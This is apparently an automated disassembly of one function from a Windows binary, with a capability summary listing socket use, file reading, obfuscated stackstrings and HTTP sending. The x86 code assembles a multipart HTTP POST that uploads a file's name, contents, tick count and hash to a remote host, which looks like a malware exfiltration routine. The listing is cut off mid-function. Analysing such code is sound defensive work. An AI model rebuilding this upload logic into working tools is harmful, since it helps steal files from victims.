Function at 0x410910
Capabilities:
Connect socket
Contain obfuscated stackstrings
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453138
mov eax, dword fs:[0]
push eax
sub esp, 0xea0
mov eax, dword [0x4668f0]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x794], eax
mov dword [ebp - 0x7b8], ebx
push 0xffffffffffffffff
push ebx
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 3
push ecx
mov esi, 0xf
lea ecx, [ebp - 0x518]
mov dword [ebp - 0x500], esi
mov dword [ebp - 0x504], ebx
mov byte [ebp - 0x514], bl
call fcn.0042bf10
mov ecx, 0x45b404
lea edi, [ebp + 0x60]
mov byte [ebp - 4], 4
call fcn.0042f0d0
test al, al
je 0x4109a8
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x518]
push edx
mov ecx, edi
call fcn.0042bf10
cmp dword [ebp + 0x24], 0x10
mov edi, dword [ebp + 0x10]
jae 0x4109b4
lea edi, [ebp + 0x10]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x7b8], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0xc]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0042bf10
call fcn.00403a70
add esp, 0x1c
push 0x45b4c8
push edi
mov dword [ebp - 0x788], eax
call fcn.00435de6
add esp, 8
push ebx
mov dword [ebp - 0x798], eax
push 0x45b404
cmp eax, ebx
jne 0x410aae
mov edi, dword [ebp - 0x794]
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.0042d2b0
cmp dword [ebp - 0x500], 0x10
jb 0x410a32
mov ecx, dword [ebp - 0x514]
push ecx
call fcn.00434321
add esp, 4
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 0x500], esi
mov dword [ebp - 0x504], ebx
mov byte [ebp - 0x514], bl
jb 0x410a56
mov edx, dword [ebp + 0x10]
push edx
call fcn.00434321
add esp, 4
cmp dword [ebp + 0x40], 0x10
mov dword [ebp + 0x24], esi
mov dword [ebp + 0x20], ebx
mov byte [ebp + 0x10], bl
jb 0x410a71
mov eax, dword [ebp + 0x2c]
push eax
call fcn.00434321
add esp, 4
cmp dword [ebp + 0x5c], 0x10
mov dword [ebp + 0x40], esi
mov dword [ebp + 0x3c], ebx
mov byte [ebp + 0x2c], bl
jb 0x410a8c
mov ecx, dword [ebp + 0x48]
push ecx
call fcn.00434321
add esp, 4
cmp dword [ebp + 0x78], 0x10
mov dword [ebp + 0x5c], esi
mov dword [ebp + 0x58], ebx
mov byte [ebp + 0x48], bl
jb 0x410aa7
mov edx, dword [ebp + 0x64]
push edx
call fcn.00434321
add esp, 4
mov eax, edi
jmp 0x413238
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x474], esi
mov dword [ebp - 0x478], ebx
mov byte [ebp - 0x488], bl
call fcn.0042d2b0
mov byte [ebp - 4], 6
push 1
push 0x45b994
lea ecx, [ebp - 0x56c]
mov dword [ebp - 0x554], esi
mov dword [ebp - 0x558], ebx
mov byte [ebp - 0x568], bl
call fcn.0042d2b0
mov byte [ebp - 4], 7
push 2
push 0x45bf50
lea ecx, [ebp - 0x534]
mov dword [ebp - 0x51c], esi
mov dword [ebp - 0x520], ebx
mov byte [ebp - 0x530], bl
call fcn.0042d2b0
push 7
push str.http:__
lea eax, [ebp + 0x28]
push eax
mov byte [ebp - 4], 8
mov edi, 0x50
call fcn.0042c190
cmp eax, 0xffffffff
je 0x410b7c
push 0xffffffffffffffff
lea ecx, [edi - 0x49]
lea esi, [ebp - 0x7dc]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x28]
mov byte [ebp - 4], 9
call fcn.0042bf10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x7c4], 0x10
jb 0x410b7c
mov ecx, dword [ebp - 0x7d8]
push ecx
call fcn.00434321
add esp, 4
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0x28]
push edx
lea ecx, [ebp - 0x48c]
call fcn.0042bf10
push 1
push 0x45b994
lea eax, [ebp - 0x48c]
push eax
call fcn.0042c190
cmp eax, 0xffffffff
je 0x410c4b
push 1
push 0x45b994
lea ecx, [ebp + 0x28]
push ecx
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [ebp - 0x7dc]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0xa
call fcn.0042bf10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x7c4], 0x10
jb 0x410bfa
mov edx, dword [ebp - 0x7d8]
push edx
call fcn.00434321
add esp, 4
push 1
push 0x45b994
lea eax, [ebp + 0x28]
push eax
call fcn.0042c190
push 0xffffffffffffffff
mov ecx, eax
lea esi, [ebp - 0x7dc]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x56c]
mov byte [ebp - 4], 0xb
call fcn.0042bf10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x7c4], 0x10
jb 0x410c4b
mov ecx, dword [ebp - 0x7d8]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x45bc24
lea edx, [ebp - 0x48c]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x410d37
push 1
push 0x45bc24
lea eax, [ebp - 0x48c]
push eax
call fcn.0042c190
push 0xffffffffffffffff
lea ecx, [eax + 1]
lea esi, [ebp - 0x7dc]
lea edx, [ebp - 0x48c]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 0xc
call fcn.0042bf10
mov edi, 0x10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x7c4], edi
jb 0x410cc3
mov ecx, dword [ebp - 0x7d8]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x45bc24
lea edx, [ebp - 0x48c]
push edx
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [ebp - 0x7dc]
lea edx, [ebp - 0x48c]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0xd
call fcn.0042bf10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x7c4], edi
jb 0x410d18
mov eax, dword [ebp - 0x7d8]
push eax
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x530]
cmp dword [ebp - 0x51c], edi
jae 0x410d2c
lea eax, [ebp - 0x530]
push eax
call fcn.00435329
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x488]
mov ecx, 0x10
cmp dword [ebp - 0x474], ecx
jae 0x410d50
lea eax, [ebp - 0x488]
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x780], eax
mov eax, dword [0x468da8]
mov dword [ebp - 0x78c], edi
cmp eax, ebx
je 0x410d91
cmp dword [0x467af0], ecx
jb 0x410d81
mov ecx, dword [0x467adc]
mov dword [ebp - 0x780], ecx
jmp 0x410d8b
mov dword [ebp - 0x780], 0x467adc
mov dword [ebp - 0x78c], eax
call fcn.00403af0
push eax
lea edx, [ebp - 0x438]
push edx
mov dword [ebp - 0x790], eax
call fcn.004027f0
add esp, 8
push eax
mov ecx, str._______bnd
lea edi, [ebp - 0x5b4]
mov byte [ebp - 4], 0xe
call fcn.0042f190
add esp, 4
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x420], 0x10
jb 0x410de0
mov eax, dword [ebp - 0x434]
push eax
call fcn.00434321
add esp, 4
lea ecx, [ebp - 0x5b4]
push ecx
mov ecx, 0x45c064
lea edi, [ebp - 0x848]
mov dword [ebp - 0x420], 0xf
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
call fcn.0042f190
add esp, 4
push eax
mov edi, str._nContent_Disposition:_attachment__name_file___filename_
lea esi, [ebp - 0x82c]
mov byte [ebp - 4], 0x11
call fcn.0042f240
add esp, 4
lea edx, [ebp - 0x518]
push edx
push eax
lea edi, [ebp - 0x810]
mov byte [ebp - 4], 0x12
call fcn.0042f780
add esp, 8
push eax
mov edi, str.__nContent_Type:_text_plain_n_n
lea esi, [ebp - 0x5d0]
mov byte [ebp - 4], 0x13
call fcn.0042f240
add esp, 4
mov edi, 0x10
cmp dword [ebp - 0x7f8], edi
jb 0x410e76
mov eax, dword [ebp - 0x80c]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x7f8], esi
mov dword [ebp - 0x7fc], ebx
mov byte [ebp - 0x80c], bl
cmp dword [ebp - 0x814], edi
jb 0x410ea4
mov ecx, dword [ebp - 0x828]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x814], esi
mov dword [ebp - 0x818], ebx
mov byte [ebp - 0x828], bl
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x830], edi
jb 0x410ed1
mov edx, dword [ebp - 0x844]
push edx
call fcn.00434321
add esp, 4
lea eax, [ebp - 0x5b4]
push eax
mov ecx, 0x45c18c
lea edi, [ebp - 0x5ec]
mov dword [ebp - 0x830], esi
mov dword [ebp - 0x834], ebx
mov byte [ebp - 0x844], bl
call fcn.0042f190
add esp, 4
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x790]
lea ecx, [ebp - 0x5d0]
push ecx
push edx
push eax
lea ecx, [ebp - 0xe84]
push ecx
mov byte [ebp - 4], 0x18
call fcn.004027f0
add esp, 8
push 5
xor ecx, ecx
lea esi, [ebp - 0xae8]
mov edx, eax
mov byte [ebp - 4], 0x19
call fcn.0042b6b0
mov byte [ebp - 4], 0x1a
cmp dword [eax + 0x18], 0x10
jb 0x410f49
mov eax, dword [eax + 4]
jmp 0x410f4c
add eax, 4
push eax
call fcn.00435329
add esp, 4
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x7e0], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0x44]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0xcc4]
call fcn.00409f10
add esp, 0x24
push eax
mov eax, dword [ebp - 0x790]
push eax
lea ecx, [ebp - 0xab0]
push ecx
mov byte [ebp - 4], 0x1b
call fcn.004027f0
add esp, 8
push eax
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x7e0], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0x60]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0xda4]
call fcn.0040df20
add esp, 0x1c
mov dword [ebp - 0x7bc], eax
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x5bc]
mov ecx, dword [ebp - 0x5d8]
add ecx, eax
add ecx, dword [ebp - 0x788]
lea edx, [ebp - 0xa78]
push ecx
push edx
call fcn.004027f0
add esp, 8
mov dword [ebp - 0x784], eax
lea eax, [ebp - 0x56c]
push eax
mov ecx, str.POST
lea edi, [ebp - 0xc8c]
mov byte [ebp - 4], 0x1e
call fcn.0042f190
add esp, 4
push eax
mov edi, str._HTTP_1.0_nHost:
lea esi, [ebp - 0xa40]
mov byte [ebp - 4], 0x1f
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x48c]
push ecx
push eax
lea edi, [ebp - 0xe14]
mov byte [ebp - 4], 0x20
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0xa08]
mov byte [ebp - 4], 0x21
call fcn.0042f240
add esp, 4
push eax
mov edi, str.User_Agent:
lea esi, [ebp - 0xc38]
mov byte [ebp - 4], 0x22
call fcn.0042f240
add esp, 4
lea edx, [ebp + 0x44]
push edx
push eax
lea edi, [ebp - 0x9d0]
mov byte [ebp - 4], 0x23
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0x864]
mov byte [ebp - 4], 0x24
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Content_Type:_multipart_form_data__boundary
lea esi, [ebp - 0x998]
mov byte [ebp - 4], 0x25
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x5b4]
push ecx
push eax
lea edi, [ebp - 0xd6c]
mov byte [ebp - 4], 0x26
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0x960]
mov byte [ebp - 4], 0x27
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Content_Length:
lea esi, [ebp - 0xc00]
mov byte [ebp - 4], 0x28
call fcn.0042f240
add esp, 4
mov edx, dword [ebp - 0x784]
push edx
push eax
lea edi, [ebp - 0x928]
mov byte [ebp - 4], 0x29
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0xe4c]
mov byte [ebp - 4], 0x2a
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Full_FileName:
lea esi, [ebp - 0x8f0]
mov byte [ebp - 4], 0x2b
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x7bc]
push ecx
push eax
lea edi, [ebp - 0xbc8]
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0x8b8]
mov byte [ebp - 4], 0x2d
call fcn.0042f240
add esp, 4
push eax
mov edi, str.unicode:_0_n
lea esi, [ebp - 0xd34]
mov byte [ebp - 4], 0x2e
call fcn.0042f240
add esp, 4
push eax
mov edi, str.ticks:
lea esi, [ebp - 0xc54]
mov byte [ebp - 4], 0x2f
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0xea0]
mov byte [ebp - 4], 0x30
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0xe68]
mov byte [ebp - 4], 0x31
call fcn.0042f240
add esp, 4
push eax
mov edi, str.hash:
lea esi, [ebp - 0xe30]
mov byte [ebp - 4], 0x32
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x438]
mov byte [ebp - 4], 0x33
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0x810]
mov byte [ebp - 4], 0x34
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Connection:_Keep_Alive_n
lea esi, [ebp - 0x82c]
mov byte [ebp - 4], 0x35
call fcn.0042f240
add esp, 4
push eax
mov edi, 0x45bb38
lea esi, [ebp - 0x848]
mov byte [ebp - 4], 0x36
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x598]
mov byte [ebp - 4], 0x37
call fcn.0042f780
add esp, 8
mov edi, 0x10
cmp dword [ebp - 0x830], edi
jb 0x411295
mov edx, dword [ebp - 0x844]
push edx
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x830], esi
mov dword [ebp - 0x834], ebx
mov byte [ebp - 0x844], bl
cmp dword [ebp - 0x814], edi
jb 0x4112c3
mov eax, dword [ebp - 0x828]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x814], esi
mov dword [ebp - 0x818], ebx
mov byte [ebp - 0x828], bl
cmp dword [ebp - 0x7f8], edi
jb 0x4112ec
mov ecx, dword [ebp - 0x80c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x7f8], esi
mov dword [ebp - 0x7fc], ebx
mov byte [ebp - 0x80c], bl
cmp dword [ebp - 0x420], edi
jb 0x411315
mov edx, dword [ebp - 0x434]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
cmp dword [ebp - 0xe18], edi
jb 0x41133e
mov eax, dword [ebp - 0xe2c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xe18], esi
mov dword [ebp - 0xe1c], ebx
mov byte [ebp - 0xe2c], bl
cmp dword [ebp - 0xe50], edi
jb 0x411367
mov ecx, dword [ebp - 0xe64]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xe50], esi
mov dword [ebp - 0xe54], ebx
mov byte [ebp - 0xe64], bl
cmp dword [ebp - 0xe88], edi
jb 0x411390
mov edx, dword [ebp - 0xe9c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xe88], esi
mov dword [ebp - 0xe8c], ebx
mov byte [ebp - 0xe9c], bl
cmp dword [ebp - 0xc3c], edi
jb 0x4113b9
mov eax, dword [ebp - 0xc50]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc3c], esi
mov dword [ebp - 0xc40], ebx
mov byte [ebp - 0xc50], bl
cmp dword [ebp - 0xd1c], edi
jb 0x4113e2
mov ecx, dword [ebp - 0xd30]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd1c], esi
mov dword [ebp - 0xd20], ebx
mov byte [ebp - 0xd30], bl
cmp dword [ebp - 0x8a0], edi
jb 0x41140b
mov edx, dword [ebp - 0x8b4]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8a0], esi
mov dword [ebp - 0x8a4], ebx
mov byte [ebp - 0x8b4], bl
cmp dword [ebp - 0xbb0], edi
jb 0x411434
mov eax, dword [ebp - 0xbc4]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xbb0], esi
mov dword [ebp - 0xbb4], ebx
mov byte [ebp - 0xbc4], bl
cmp dword [ebp - 0x8d8], edi
jb 0x41145d
mov ecx, dword [ebp - 0x8ec]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8d8], esi
mov dword [ebp - 0x8dc], ebx
mov byte [ebp - 0x8ec], bl
cmp dword [ebp - 0xe34], edi
jb 0x411486
mov edx, dword [ebp - 0xe48]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xe34], esi
mov dword [ebp - 0xe38], ebx
mov byte [ebp - 0xe48], bl
cmp dword [ebp - 0x910], edi
jb 0x4114af
mov eax, dword [ebp - 0x924]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x910], esi
mov dword [ebp - 0x914], ebx
mov byte [ebp - 0x924], bl
cmp dword [ebp - 0xbe8], edi
jb 0x4114d8
mov ecx, dword [ebp - 0xbfc]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xbe8], esi
mov dword [ebp - 0xbec], ebx
mov byte [ebp - 0xbfc], bl
cmp dword [ebp - 0x948], edi
jb 0x411501
mov edx, dword [ebp - 0x95c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x948], esi
mov dword [ebp - 0x94c], ebx
mov byte [ebp - 0x95c], bl
cmp dword [ebp - 0xd54], edi
jb 0x41152a
mov eax, dword [ebp - 0xd68]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd54], esi
mov dword [ebp - 0xd58], ebx
mov byte [ebp - 0xd68], bl
cmp dword [ebp - 0x980], edi
jb 0x411553
mov ecx, dword [ebp - 0x994]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x980], esi
mov dword [ebp - 0x984], ebx
mov byte [ebp - 0x994], bl
cmp dword [ebp - 0x84c], edi
jb 0x41157c
mov edx, dword [ebp - 0x860]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x84c], esi
mov dword [ebp - 0x850], ebx
mov byte [ebp - 0x860], bl
cmp dword [ebp - 0x9b8], edi
jb 0x4115a5
mov eax, dword [ebp - 0x9cc]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9b8], esi
mov dword [ebp - 0x9bc], ebx
mov byte [ebp - 0x9cc], bl
cmp dword [ebp - 0xc20], edi
jb 0x4115ce
mov ecx, dword [ebp - 0xc34]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc20], esi
mov dword [ebp - 0xc24], ebx
mov byte [ebp - 0xc34], bl
cmp dword [ebp - 0x9f0], edi
jb 0x4115f7
mov edx, dword [ebp - 0xa04]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9f0], esi
mov dword [ebp - 0x9f4], ebx
mov byte [ebp - 0xa04], bl
cmp dword [ebp - 0xdfc], edi
jb 0x411620
mov eax, dword [ebp - 0xe10]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xdfc], esi
mov dword [ebp - 0xe00], ebx
mov byte [ebp - 0xe10], bl
cmp dword [ebp - 0xa28], edi
jb 0x411649
mov ecx, dword [ebp - 0xa3c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa28], esi
mov dword [ebp - 0xa2c], ebx
mov byte [ebp - 0xa3c], bl
cmp dword [ebp - 0xc74], edi
jb 0x411672
mov edx, dword [ebp - 0xc88]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc74], esi
mov dword [ebp - 0xc78], ebx
mov byte [ebp - 0xc88], bl
cmp dword [ebp - 0xa60], edi
jb 0x41169b
mov eax, dword [ebp - 0xa74]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa60], esi
mov dword [ebp - 0xa64], ebx
mov byte [ebp - 0xa74], bl
cmp dword [ebp - 0xd8c], edi
jb 0x4116c4
mov ecx, dword [ebp - 0xda0]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd8c], esi
mov dword [ebp - 0xd90], ebx
mov byte [ebp - 0xda0], bl
cmp dword [ebp - 0xa98], edi
jb 0x4116ed
mov edx, dword [ebp - 0xaac]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa98], esi
mov dword [ebp - 0xa9c], ebx
mov byte [ebp - 0xaac], bl
cmp dword [ebp - 0xcac], edi
jb 0x411716
mov eax, dword [ebp - 0xcc0]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xcac], esi
mov dword [ebp - 0xcb0], ebx
mov byte [ebp - 0xcc0], bl
cmp dword [ebp - 0xad0], edi
jb 0x41173f
mov ecx, dword [ebp - 0xae4]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xad0], esi
mov dword [ebp - 0xad4], ebx
mov byte [ebp - 0xae4], bl
mov byte [ebp - 4], 0x57
cmp dword [ebp - 0xe6c], edi
jb 0x41176c
mov edx, dword [ebp - 0xe80]
push edx
call fcn.00434321
add esp, 4
push ebx
push 0x45b404
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0xe6c], esi
mov dword [ebp - 0xe70], ebx
mov byte [ebp - 0xe80], bl
call fcn.0042d2b0
push ebx
push 0x45b404
lea ecx, [ebp - 0x5d0]
call fcn.0042d2b0
push ebx
push 0x45b404
lea ecx, [ebp - 0x5ec]
call fcn.0042d2b0
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x790]
push eax
push ecx
lea edx, [ebp - 0x7b4]
push edx
call fcn.004027f0
add esp, 8
push 5
xor ecx, ecx
lea esi, [ebp - 0x7dc]
mov edx, eax
mov byte [ebp - 4], 0x58
call fcn.0042b6b0
mov byte [ebp - 4], 0x59
cmp dword [eax + 0x18], 0x10
jb 0x4117f2
mov eax, dword [eax + 4]
jmp 0x4117f5
add eax, 4
push eax
call fcn.00435329
add esp, 4
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x7e0], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x44]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0xdf8]
call fcn.00409f10
add esp, 0x24
mov ecx, dword [ebp - 0x790]
push eax
push ecx
lea edx, [ebp - 0xdc0]
mov byte [ebp - 4], 0x5a
push edx
mov dword [ebp - 0x7e0], str.hash:
call fcn.004027f0
add esp, 8
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0x5b
mov ecx, esp
mov dword [ebp - 0x7bc], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x60]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov dword [ebp - 0x7f0], str.ticks:
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0xd88]
call fcn.0040df20
add esp, 0x1c
mov ecx, dword [ebp - 0x788]
push eax
push ecx
lea edx, [ebp - 0xd50]
push edx
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x784], str.Full_FileName:
call fcn.004027f0
add esp, 8
push eax
lea eax, [ebp + 0x44]
push eax
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x7bc], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x518]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov dword [ebp - 0x788], str.Content_Length:
mov dword [ebp - 0x790], str.User_Agent:
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0xd18]
call fcn.0040df20
add esp, 0x1c
mov dword [ebp - 0x7bc], eax
mov byte [ebp - 4], 0x5e
lea eax, [ebp - 0x56c]
push eax
mov ecx, str.POST
lea edi, [ebp - 0xce0]
call fcn.0042f190
add esp, 4
push eax
mov edi, str._HTTP_1.0_r_nHost:
lea esi, [ebp - 0xca8]
mov byte [ebp - 4], 0x5f
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x48c]
push ecx
push eax
lea edi, [ebp - 0xc70]
mov byte [ebp - 4], 0x60
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xc1c]
mov byte [ebp - 4], 0x61
call fcn.0042f240
add esp, 4
push eax
mov edi, str.filename:
lea esi, [ebp - 0xbe4]
mov byte [ebp - 4], 0x62
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x63
mov edx, dword [ebp - 0x7bc]
push edx
push eax
lea edi, [ebp - 0xbac]
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xb74]
mov byte [ebp - 4], 0x64
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x790]
push eax
lea esi, [ebp - 0xb3c]
mov byte [ebp - 4], 0x65
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0xb04]
mov byte [ebp - 4], 0x66
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xacc]
mov byte [ebp - 4], 0x67
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x788]
push eax
lea esi, [ebp - 0xa94]
mov byte [ebp - 4], 0x68
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x69
push eax
lea edi, [ebp - 0xa5c]
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xa24]
mov byte [ebp - 4], 0x6a
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x784]
push eax
lea esi, [ebp - 0x9ec]
mov byte [ebp - 4], 0x6b
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x9b4]
mov byte [ebp - 4], 0x6c
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x97c]
mov byte [ebp - 4], 0x6d
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Expect:_100_continue_r_n
lea esi, [ebp - 0x944]
mov byte [ebp - 4], 0x6e
call fcn.0042f240
add esp, 4
push eax
mov edi, str.unicode:_0_r_n
lea esi, [ebp - 0x90c]
mov byte [ebp - 4], 0x6f
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x70
mov edi, dword [ebp - 0x7f0]
push eax
lea esi, [ebp - 0x8d4]
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x89c]
mov byte [ebp - 4], 0x71
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x880]
mov byte [ebp - 4], 0x72
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x73
mov edi, dword [ebp - 0x7e0]
push eax
lea esi, [ebp - 0xb90]
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0xddc]
mov byte [ebp - 4], 0x74
call fcn.0042f780
add esp, 8
mov byte [ebp - 4], 0x75
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xb58]
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Connection:_Keep_Alive_r_n
lea esi, [ebp - 0xcfc]
mov byte [ebp - 4], 0x76
call fcn.0042f240
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xb20]
mov byte [ebp - 4], 0x77
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x598]
mov byte [ebp - 4], 0x78
call fcn.0042bf10
mov edi, 0x10
cmp dword [ebp - 0xb08], edi
jb 0x411ba2
mov eax, dword [ebp - 0xb1c]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [ebp - 0xb08], esi
mov dword [ebp - 0xb0c], ebx
mov byte [ebp - 0xb1c], bl
cmp dword [ebp - 0xce4], edi
jb 0x411bd0
mov ecx, dword [ebp - 0xcf8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xce4], esi
mov dword [ebp - 0xce8], ebx
mov byte [ebp - 0xcf8], bl
cmp dword [ebp - 0xb40], edi
